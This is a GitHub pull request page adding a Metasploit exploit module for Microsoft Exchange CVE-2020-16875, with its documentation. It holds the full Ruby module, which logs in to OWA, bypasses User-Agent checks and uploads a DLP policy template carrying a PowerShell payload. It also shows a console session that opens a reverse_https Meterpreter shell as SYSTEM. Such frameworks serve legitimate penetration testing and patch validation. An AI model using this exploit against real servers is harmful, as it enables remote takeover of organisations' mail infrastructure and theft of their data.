-
Notifications
You must be signed in to change notification settings - Fork 14.8k
Add Microsoft Exchange Server DLP Policy RCE (CVE-2020-16875) #14126
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
Merged
Changes from all commits
Commits
Show all changes
6 commits
Select commit
Hold shift + click to select a range
e118ff1
Add Microsoft Exchange Server DLP Policy RCE
wvu 03e0b90
Add more words about Exchange role groups
wvu 0ec97aa
Make User-Agent consistent across requests
wvu 3c8390a
Fix HttpUserAgent to UserAgent
wvu da4e960
Revert "Fix HttpUserAgent to UserAgent"
wvu 5bda3b4
Revert "Make User-Agent consistent across requests"
wvu File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
123 changes: 123 additions & 0 deletions
123
documentation/modules/exploit/windows/http/exchange_ecp_dlp_policy.md
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,123 @@ | ||
| ## Vulnerable Application | ||
|
|
||
| ### Description | ||
|
|
||
| This vulnerability allows remote attackers to execute arbitrary code | ||
| on affected installations of Exchange Server. Authentication is | ||
| required to exploit this vulnerability. Additionally, the target user | ||
| must have the `Data Loss Prevention` role assigned and an active | ||
| mailbox. | ||
|
|
||
| If the user is in the `Compliance Management` or greater `Organization | ||
| Management` role groups, then they have the `Data Loss Prevention` | ||
| role. Since the user who installed Exchange is in the `Organization | ||
| Management` role group, they transitively have the `Data Loss | ||
| Prevention` role. | ||
|
|
||
| The specific flaw exists within the processing of the `New-DlpPolicy` | ||
| cmdlet. The issue results from the lack of proper validation of | ||
| user-supplied template data when creating a DLP policy. An attacker | ||
| can leverage this vulnerability to execute code in the context of | ||
| `SYSTEM`. | ||
|
|
||
| Tested against Exchange Server 2016 CU14 on Windows Server 2016. | ||
|
|
||
| ### Setup | ||
|
|
||
| Set up a [vulnerable target](#targets). | ||
|
|
||
| ## Verification Steps | ||
|
|
||
| Follow [Setup](#setup) and [Scenarios](#scenarios). | ||
|
|
||
| ## Targets | ||
|
|
||
| ### 0 | ||
|
|
||
| `Exchange Server 2016 and 2019 w/o KB4577352` | ||
|
|
||
| ## Options | ||
|
|
||
| ### USERNAME | ||
|
|
||
| Set this to the OWA username. | ||
|
|
||
| ### PASSWORD | ||
|
|
||
| Set this to the OWA password. | ||
|
|
||
| ## Scenarios | ||
|
|
||
| ### Exchange Server 2016 CU14 on Windows Server 2016 | ||
|
|
||
| ``` | ||
| msf6 > use exploit/windows/http/exchange_ecp_dlp_policy | ||
| [*] Using configured payload windows/x64/meterpreter/reverse_https | ||
| msf6 exploit(windows/http/exchange_ecp_dlp_policy) > options | ||
|
|
||
| Module options (exploit/windows/http/exchange_ecp_dlp_policy): | ||
|
|
||
| Name Current Setting Required Description | ||
| ---- --------------- -------- ----------- | ||
| PASSWORD no OWA password | ||
| Proxies no A proxy chain of format type:host:port[,type:host:port][...] | ||
| RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' | ||
| RPORT 443 yes The target port (TCP) | ||
| SSL true no Negotiate SSL/TLS for outgoing connections | ||
| TARGETURI / yes Base path | ||
| USERNAME no OWA username | ||
| VHOST no HTTP server virtual host | ||
|
|
||
|
|
||
| Payload options (windows/x64/meterpreter/reverse_https): | ||
|
|
||
| Name Current Setting Required Description | ||
| ---- --------------- -------- ----------- | ||
| EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) | ||
| LHOST yes The local listener hostname | ||
| LPORT 8443 yes The local listener port | ||
| LURI no The HTTP Path | ||
|
|
||
|
|
||
| Exploit target: | ||
|
|
||
| Id Name | ||
| -- ---- | ||
| 0 Exchange Server 2016 and 2019 w/o KB4577352 | ||
|
|
||
|
|
||
| msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set rhosts 192.168.123.192 | ||
| rhosts => 192.168.123.192 | ||
| msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set username Administrator | ||
| username => Administrator | ||
| msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set password Passw0rd! | ||
| password => Passw0rd! | ||
| msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set lhost 192.168.123.1 | ||
| lhost => 192.168.123.1 | ||
| msf6 exploit(windows/http/exchange_ecp_dlp_policy) > run | ||
|
|
||
| [*] Started HTTPS reverse handler on https://192.168.123.1:8443 | ||
| [*] Executing automatic check (disable AutoCheck to override) | ||
| [!] The service is running, but could not be validated. OWA is running at https://192.168.123.192/owa/ | ||
| [*] Logging in to OWA with creds Administrator:Passw0rd! | ||
| [+] Successfully logged in to OWA | ||
| [*] Retrieving ViewState from DLP policy creation page | ||
| [+] Successfully retrieved ViewState | ||
| [*] Creating custom DLP policy from malicious template | ||
| [*] DLP policy name: Abbotstone Agricultural Property Unit Trust Data | ||
| [*] Powershell command length: 2372 | ||
| [*] https://192.168.123.1:8443 handling request from 192.168.123.192; (UUID: rwlz4ahe) Staging x64 payload (201308 bytes) ... | ||
| [*] Meterpreter session 1 opened (192.168.123.1:8443 -> 192.168.123.192:6951) at 2020-09-16 02:39:17 -0500 | ||
|
|
||
| meterpreter > getuid | ||
| Server username: NT AUTHORITY\SYSTEM | ||
| meterpreter > sysinfo | ||
| Computer : WIN-365Q2VJJS17 | ||
| OS : Windows 2016+ (10.0 Build 14393). | ||
| Architecture : x64 | ||
| System Language : en_US | ||
| Domain : GIBSON | ||
| Logged On Users : 8 | ||
| Meterpreter : x64/windows | ||
| meterpreter > | ||
| ``` | ||
251 changes: 251 additions & 0 deletions
251
modules/exploits/windows/http/exchange_ecp_dlp_policy.rb
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,251 @@ | ||
| ## | ||
| # This module requires Metasploit: https://metasploit.com/download | ||
| # Current source: https://github.com/rapid7/metasploit-framework | ||
| ## | ||
|
|
||
| class MetasploitModule < Msf::Exploit::Remote | ||
|
|
||
| Rank = ExcellentRanking | ||
|
|
||
| prepend Msf::Exploit::Remote::AutoCheck | ||
| include Msf::Exploit::Remote::HttpClient | ||
| include Msf::Exploit::Powershell | ||
|
|
||
| def initialize(info = {}) | ||
| super( | ||
| update_info( | ||
| info, | ||
| 'Name' => 'Microsoft Exchange Server DlpUtils AddTenantDlpPolicy RCE', | ||
| 'Description' => %q{ | ||
| This vulnerability allows remote attackers to execute arbitrary code | ||
| on affected installations of Exchange Server. Authentication is | ||
| required to exploit this vulnerability. Additionally, the target user | ||
| must have the "Data Loss Prevention" role assigned and an active | ||
| mailbox. | ||
|
|
||
| If the user is in the "Compliance Management" or greater "Organization | ||
| Management" role groups, then they have the "Data Loss Prevention" | ||
| role. Since the user who installed Exchange is in the "Organization | ||
| Management" role group, they transitively have the "Data Loss | ||
| Prevention" role. | ||
|
|
||
| The specific flaw exists within the processing of the New-DlpPolicy | ||
| cmdlet. The issue results from the lack of proper validation of | ||
| user-supplied template data when creating a DLP policy. An attacker | ||
| can leverage this vulnerability to execute code in the context of | ||
| SYSTEM. | ||
|
|
||
| Tested against Exchange Server 2016 CU14 on Windows Server 2016. | ||
| }, | ||
| 'Author' => [ | ||
| 'mr_me', # Discovery, exploits, and most of the words above | ||
| 'wvu' # Module | ||
| ], | ||
| 'References' => [ | ||
| ['CVE', '2020-16875'], | ||
| ['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16875'], | ||
| ['URL', 'https://support.microsoft.com/en-us/help/4577352/security-update-for-exchange-server-2019-and-2016'], | ||
| ['URL', 'https://srcincite.io/advisories/src-2020-0019/'], | ||
| ['URL', 'https://srcincite.io/pocs/cve-2020-16875.py.txt'], | ||
| ['URL', 'https://srcincite.io/pocs/cve-2020-16875.ps1.txt'] | ||
| ], | ||
| 'DisclosureDate' => '2020-09-08', # Public disclosure | ||
| 'License' => MSF_LICENSE, | ||
| 'Platform' => 'win', | ||
| 'Arch' => [ARCH_X86, ARCH_X64], | ||
| 'Privileged' => true, | ||
| 'Targets' => [ | ||
| ['Exchange Server 2016 and 2019 w/o KB4577352', {}] | ||
| ], | ||
| 'DefaultTarget' => 0, | ||
| 'DefaultOptions' => { | ||
| 'SSL' => true, | ||
| 'PAYLOAD' => 'windows/x64/meterpreter/reverse_https', | ||
| 'HttpClientTimeout' => 5, | ||
| 'WfsDelay' => 10 | ||
| }, | ||
| 'Notes' => { | ||
| 'Stability' => [CRASH_SAFE], | ||
| 'Reliability' => [REPEATABLE_SESSION], | ||
| 'SideEffects' => [ | ||
| IOC_IN_LOGS, | ||
| ACCOUNT_LOCKOUTS, # Creates a concurrent OWA session | ||
| CONFIG_CHANGES, # Creates a new DLP policy | ||
| ARTIFACTS_ON_DISK # Uses a DLP policy template file | ||
| ] | ||
| } | ||
| ) | ||
| ) | ||
|
|
||
| register_options([ | ||
| Opt::RPORT(443), | ||
| OptString.new('TARGETURI', [true, 'Base path', '/']), | ||
| OptString.new('USERNAME', [false, 'OWA username']), | ||
| OptString.new('PASSWORD', [false, 'OWA password']) | ||
| ]) | ||
| end | ||
|
|
||
| def post_auth? | ||
| true | ||
| end | ||
|
|
||
| def username | ||
| datastore['USERNAME'] | ||
| end | ||
|
|
||
| def password | ||
| datastore['PASSWORD'] | ||
| end | ||
|
|
||
| def check | ||
| res = send_request_cgi( | ||
| 'method' => 'GET', | ||
| 'uri' => normalize_uri(target_uri.path, '/owa/auth/logon.aspx') | ||
| ) | ||
|
|
||
| unless res | ||
| return CheckCode::Unknown('Target did not respond to check.') | ||
| end | ||
|
|
||
| unless res.code == 200 && res.body.include?('<title>Outlook</title>') | ||
| return CheckCode::Unknown('Target does not appear to be running OWA.') | ||
| end | ||
|
|
||
| CheckCode::Detected("OWA is running at #{full_uri('/owa/')}") | ||
| end | ||
|
|
||
| def exploit | ||
| owa_login | ||
| create_dlp_policy(retrieve_viewstate) | ||
| end | ||
|
|
||
| def owa_login | ||
| unless username && password | ||
| fail_with(Failure::BadConfig, 'USERNAME and PASSWORD are required for exploitation') | ||
| end | ||
|
|
||
| print_status("Logging in to OWA with creds #{username}:#{password}") | ||
|
|
||
| res = send_request_cgi!({ | ||
| 'method' => 'POST', | ||
| 'uri' => normalize_uri(target_uri.path, '/owa/auth.owa'), | ||
| 'vars_post' => { | ||
| 'username' => username, | ||
| 'password' => password, | ||
| 'flags' => '', | ||
| 'destination' => full_uri('/owa/', vhost_uri: true) | ||
| }, | ||
| 'keep_cookies' => true | ||
| }, datastore['HttpClientTimeout'], 2) # timeout and redirect_depth | ||
|
|
||
| unless res | ||
| fail_with(Failure::Unreachable, 'Failed to access OWA login page') | ||
| end | ||
|
|
||
| unless res.code == 200 && cookie_jar.grep(/^cadata/).any? | ||
| if res.body.include?('There are too many active sessions connected to this mailbox.') | ||
| fail_with(Failure::NoAccess, 'Reached active session limit for mailbox') | ||
| end | ||
|
|
||
| fail_with(Failure::NoAccess, 'Failed to log in to OWA with supplied creds') | ||
| end | ||
|
|
||
| if res.body.include?('Choose your preferred display language and home time zone below.') | ||
| fail_with(Failure::NoAccess, 'Mailbox is active but not fully configured') | ||
| end | ||
|
|
||
| print_good('Successfully logged in to OWA') | ||
| end | ||
|
|
||
| def retrieve_viewstate | ||
| print_status('Retrieving ViewState from DLP policy creation page') | ||
|
|
||
| res = send_request_cgi( | ||
| 'method' => 'GET', | ||
| 'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'), | ||
| 'agent' => '', # HACK: Bypass Exchange's User-Agent validation | ||
| 'keep_cookies' => true | ||
| ) | ||
|
|
||
| unless res | ||
| fail_with(Failure::Unreachable, 'Failed to access DLP policy creation page') | ||
| end | ||
|
|
||
| unless res.code == 200 && (viewstate = res.get_html_document.at('//input[@id = "__VIEWSTATE"]/@value')&.text) | ||
| fail_with(Failure::UnexpectedReply, 'Failed to retrieve ViewState') | ||
| end | ||
|
|
||
| print_good('Successfully retrieved ViewState') | ||
| viewstate | ||
| end | ||
|
|
||
| def create_dlp_policy(viewstate) | ||
| print_status('Creating custom DLP policy from malicious template') | ||
| vprint_status("DLP policy name: #{dlp_policy_name}") | ||
|
|
||
| form_data = Rex::MIME::Message.new | ||
| form_data.add_part(viewstate, nil, nil, 'form-data; name="__VIEWSTATE"') | ||
| form_data.add_part( | ||
| 'ResultPanePlaceHolder_ButtonsPanel_btnNext', | ||
| nil, | ||
| nil, | ||
| 'form-data; name="ctl00$ResultPanePlaceHolder$senderBtn"' | ||
| ) | ||
| form_data.add_part( | ||
| dlp_policy_name, | ||
| nil, | ||
| nil, | ||
| 'form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$name"' | ||
| ) | ||
| form_data.add_part( | ||
| dlp_policy_template, | ||
| 'text/xml', | ||
| nil, | ||
| %(form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$upldCtrl"; filename="#{dlp_policy_filename}") | ||
| ) | ||
|
|
||
| send_request_cgi({ | ||
| 'method' => 'POST', | ||
| 'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'), | ||
| 'agent' => '', # HACK: Bypass Exchange's User-Agent validation | ||
|
wvu marked this conversation as resolved.
|
||
| 'ctype' => "multipart/form-data; boundary=#{form_data.bound}", | ||
| 'data' => form_data.to_s | ||
| }, 0) | ||
| end | ||
|
|
||
| def dlp_policy_template | ||
| # https://docs.microsoft.com/en-us/exchange/developing-dlp-policy-template-files-exchange-2013-help | ||
| <<~XML | ||
| <?xml version="1.0" encoding="UTF-8"?> | ||
| <dlpPolicyTemplates> | ||
| <dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0"> | ||
| <contentVersion>4</contentVersion> | ||
| <publisherName>Metasploit</publisherName> | ||
| <name> | ||
| <localizedString lang="en">#{dlp_policy_name}</localizedString> | ||
| </name> | ||
| <description> | ||
| <localizedString lang="en">wvu was here</localizedString> | ||
| </description> | ||
| <keywords></keywords> | ||
| <ruleParameters></ruleParameters> | ||
| <policyCommands> | ||
| <commandBlock> | ||
| <![CDATA[#{cmd_psh_payload(payload.encoded, payload.arch.first, exec_in_place: true)}]]> | ||
| </commandBlock> | ||
| </policyCommands> | ||
| <policyCommandsResources></policyCommandsResources> | ||
| </dlpPolicyTemplate> | ||
| </dlpPolicyTemplates> | ||
| XML | ||
| end | ||
|
|
||
| def dlp_policy_name | ||
| @dlp_policy_name ||= "#{Faker::Bank.name.titleize} Data" | ||
| end | ||
|
|
||
| def dlp_policy_filename | ||
| @dlp_policy_filename ||= "#{rand_text_alphanumeric(8..42)}.xml" | ||
| end | ||
|
|
||
| end | ||
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.